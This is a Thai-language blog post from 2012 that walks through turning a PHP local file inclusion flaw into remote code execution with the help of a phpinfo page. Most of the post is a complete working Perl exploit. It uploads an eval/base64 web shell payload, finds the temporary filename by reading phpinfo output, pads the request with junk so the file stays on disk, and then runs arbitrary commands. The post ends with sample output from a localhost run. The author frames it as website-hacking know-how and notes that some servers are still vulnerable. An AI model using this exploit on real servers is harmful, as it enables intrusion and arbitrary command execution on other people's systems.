Saturday, May 12, 2012

ชำแหละ ช่องโหว่ LFI With PHPInfo Assistance

#########################
# LFI With PHPInfo Assistance
# POC -> http://www.exploit-db.com/download_pdf/17799

[คหสต.]
ช่องโหว่ ทาง LFI เนี่ย เป็นมุขแฮกเวปที่เก่ามากแล้ว (ตั้งแต่ php 4+)
พอ php 5 มา .. คนก็ไปใช้ function file_get_contents แทน include ซะหมด
ดังนั้น LFI จะหาแฮกยากหน่อย .. ( แต่ส่วนมาก sv ของเกาหลียังพอจะหาเวปที่รั่ว แนวๆ นี้ได้อยู่บ้าง )
ซึ่งตามปกติ LFI จะเป็นการ เรียก file อื่นมาอ่าน เช่น /etc/passwd หรือ wp-config.php ทั่วๆ ไปเป็นต้น
ซึ่งช่องโหว่ LFI เนี้ยไม่สามารถ สั่ง คำสั่ง command line ได้ … (แต่ มันก็ยังพอจะมีวิธี ^^”)

และเจ้า LFI With PHPInfo Assistance ก็เป็น หนึ่ง ในวิธี ที่พูดถึง (วิธีอื่น อย่าถาม .. ผมไม่ตอบ เพราะผมกั๊ก *0*)

#########################
# เงื่อนไขหลักๆ (ผมก็ไม่ค่อย แน่ใจนะ ว่า จำกัด version ของ php รึเปล่า )
1. มีหน้า phpinfo ( เพราะจะต้องใช้คำสั่ง จาก ฟังชั่น นี้ )
phpinfo.php


2. มีหน้าที่ รั่ว LFI ( ตอนนี้หายากแล้วล่ะมั้ง T^T )
lfi.php


3. ค่าใน php.ini ต้องตั้ง file_uploads = On (ปกติ ก็น่าจะเป็น On หมดนั่นแหละ)

#########################
# หลักการ
ตามปกติ หากเรา ทำการ upload file ใน php เนี้ย
พวก file ที่เรา upload ขึ้นไปนั้นจะถูกเขียน ลงใน temp ก่อน
(ดูตรง upload_tmp_dir อ่ะ .. ปกติมันจะว่าง ก็เดาซะว่าอยู่ที่ /tmp แล้วกัน)
พอ upload ขึ้นไปปุ๊ป เจ้า php จึงจะ ย้ายมาไว้ใน ตำแหน่งที่เราระบุไว้
ซึ่งชื่อ ใน temp ก็จะสุ่มมั่วๆ ซะด้วย และไฟล์ ก็จากหายไปจาก temp อัตโนมัติ
เมื่อหมด session ( ประมาณว่า เมื่อหน้า page นั้นโหลดเสร็จ .. ไฟล์มันจะหายไปเองจาก /tmp )

ทีนี้ หากเราทำการ upload file ที่มี evil code ขึ้นเวป เพื่อที่จะให้สามารถสั่ง exec ได้
เจ้า file โจรๆ ของเรามันก็จะต้องไปอยู่ใน temp จนกว่าหน้าเวปนั้นจะโหลดเสร็จ … จริงมั้ย ?

ทีนี้ หากเราสั่งให้ lfi.php มันดึง file โจรๆ ที่เรา upload ขึ้นไป
จาก LFI ธรรมดา มันก็จะกลายไปเป็น Remote Exec ทันที … จริงมั้ย ?

#########################
# คำถามที่คนอ่าน ที่ชอบเรื่องแฮกๆ จะต้องผุดขึ้นมา คือ

- ทำไง ถึงจะรู้ว่า File ที่ อัพไป .. ชื่อไฟล์อะไร .. ในเมื่อ ก็บอกอยู่ว่ามันสุ่ม !!
คำตอบคือ .. มันจะบอกอยุ่ใน phpinfo.php ตรงค่า “PHP Variables” ไง

- ทำไงให้ file นั้น อยู่นานๆ … นาน น๊าน นาน นาน นานนนนนน พอที่จะรันคำสั่งเสร็จ ก่อนที่จะโดนลบ?
คำตอบคือ .. ทำให้ฟังชั่น phpinfo(); ทำงาน นานๆ
โดยการ ส่ง junk code ไปเยอะๆ เช่น ส่งไปใน header, ในค่า post, ใน ค่า file upload, ฯลฯ

#########################
# Exploit Code –> [perl][/perl] http://pastebin.com/2m6mz8Mz
- fake header z (ส่ง HEADER Z ไป 3000 ตัวอักษร)
- ส่ง file ไป 40 file (ชื่อไฟล์ คือ จำนวนที่ N ตามด้วย > ยาว 100000 ตัวอักษร)
เท่านี้ code ที่สั่ง run ก็จะ ทำงาน แล้ว นั่นเอง *0*

#!/usr/bin/perl -w
use IO::Socket;
use MIME::Base64;
use HTTP::Cookies;
use LWP::UserAgent;

my $HOST='';
my $PATH='';

my $LFI_URL= $ARGV[1] || 'http://localhost/lfi.php?page=';
my $COMMAND= $ARGV[2] || 'system("uname -a");';
$COMMAND = encode_base64($COMMAND);
$COMMAND =~s/\s+//ig;

if($ARGV[0]=~m#http://([^/]+)(/.+)#){
$HOST=$1;
$PATH=$2;
}else{
die "[!] wrong host !?\n";
}

my $CRLF = "\r\n";
my $SOCK = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $HOST,
PeerPort => 80,
) or die ("[!] Can't creat socket\n");
setsockopt($SOCK, SOL_SOCKET, SO_RCVBUF,pack("I",'1024'));
$SOCK->autoflush(1);
my $BOUNDARY = "-----whoami".int(rand(9999));

my $HEADER .= 'POST '.$PATH.' HTTP/1.0'.$CRLF;
$HEADER .= 'Host: '.$HOST.$CRLF;
$HEADER .= 'User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'.$CRLF;
$HEADER .= 'Content-Type: multipart/form-data; boundary='.$BOUNDARY.$CRLF;
$HEADER .= 'z:'.("Z" x 3000).$CRLF;
for(my $i=0; $i<30; $i++){$HEADER .= 'z'.$i.': '.$i.$CRLF;}

$HEADER .= 'Content-Length: ';
my $CONTENT .= '--'.$BOUNDARY.$CRLF;
$CONTENT .= 'Content-Disposition: form-data; name="tfile"; filename="elif.html"'.$CRLF;
$CONTENT .= 'Content-Type: text/html'.$CRLF.$CRLF;
$CONTENT .= '<?@eval(base64_decode($_SERVER[HTTP_THD]));exit;?>'.$CRLF;
$CONTENT .= '--'.$BOUNDARY.'--'.$CRLF;
for(my $i=0; $i<40;$i++){
$CONTENT .= '--'.$BOUNDARY.$CRLF;
$CONTENT .= 'Content-Disposition: form-data; name="junkfile'.$i.'"; filename="junkfile'.$i.('>' x 100000).'"'.$CRLF;
$CONTENT .= 'Content-Type: text/html'.$CRLF.$CRLF;
$CONTENT .= 'jumk'.$CRLF;
$CONTENT .= '--'.$BOUNDARY.'--'.$CRLF;
}
$HEADER .= length($CONTENT).$CRLF.$CRLF.$CONTENT;
print $SOCK $HEADER;

while($line=<$SOCK>){
if($line =~ m#tmp_name].+(/tmp/php.+)$#) {
my $tmpfile = $1;
my $cookie_jar = HTTP::Cookies->new(autosave =>1, hide_cookie2=>1);
my $browser = LWP::UserAgent->new(
agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',
timeout => 8,
max_redirect => 0,
cookie_jar => $cookie_jar
);
$browser->default_header('THD'=>$COMMAND);
my $content_rce = $browser->get($LFI_URL.$tmpfile)->content;
print $content_rce;
exit;
}
}

#########################
# ตัวอย่าง การทดลองสั่ง ‘uname -a’
#########################
pirate@BlackBuntu~/Desktop$ ./phpinfo_exploit.pl http://localhost/phpinfo.php http://localhost/lfi.php?page= "system('uname -a');"

Linux BlackBuntu 2.6.38-10-generic #44-Ubuntu SMP Thu Jun 2 21:32:22 UTC 2011 x86_64 GNU/Linux

No comments:

Why You Don't LIKE My FaceBook Fanpage ?
×
blogger